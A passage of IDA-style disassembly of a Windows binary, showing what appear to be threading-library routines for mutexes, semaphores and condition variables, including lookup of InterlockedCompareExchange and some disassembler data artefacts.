retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: ___:00431194j nop call near ptr 2811D0Bh loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 27C07DCh nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3E0, eax call near ptr 27D0000h nop test eax, eax mov dword_50E3FC, eax jnz short loc_4312CD mov eax, dword_50E3E0 mov dword_50E3FC, offset sub_4012D0 push eax nop call near ptr 27303D7h mov dword_50E3E0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3E4 test eax, eax jz short loc_431350 mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3E80Dh, 4C48300h, 6A118Bh, 0C5E89052h, 0E8022FECh dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 88E85007h, 90022FF0h ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3E4 test eax, eax jz short loc_4313DB mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3E80Dh, 4C48300h, 6A118Bh, 25E89052h db 0ECh, 2Fh, 2 ; --------------------------------------------------------------------------- loc_4313DB: ; CODE XREF: sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9C0 xor esi, esi nop call near ptr 7C901005h mov eax, dword_50E3F0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9C0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3E4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3E8 mov dword_50E3E4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3EC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E900 call esi push offset dword_50E960 call esi push offset dword_50E9C0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E980 call esi mov eax, dword_50E3E4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3E4 test eax, eax jz locret_431619 mov eax, dword_50E3E8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3E8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3EC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3EC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E900 nop call near ptr 7C901005h mov eax, dword_44574C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E900 nop call near ptr 7C9010EDh mov esi, dword_50F858 push offset dword_50E980 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E9C0 call esi push offset dword_50E960 call esi push offset dword_50E900 call esi mov dword_50E3E4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_50E3E8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi call near ptr 77C2C21Bh nop mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi call near ptr 77C2C21Bh nop add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi ; free add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3E8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 2760A89h push eax nop call near ptr 2720AABh test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E9A0 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E9A0 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E9A0 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E9A0 nop call near ptr 7C9010EDh loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov eax, edi pop edi pop esi pop ebp add esp, 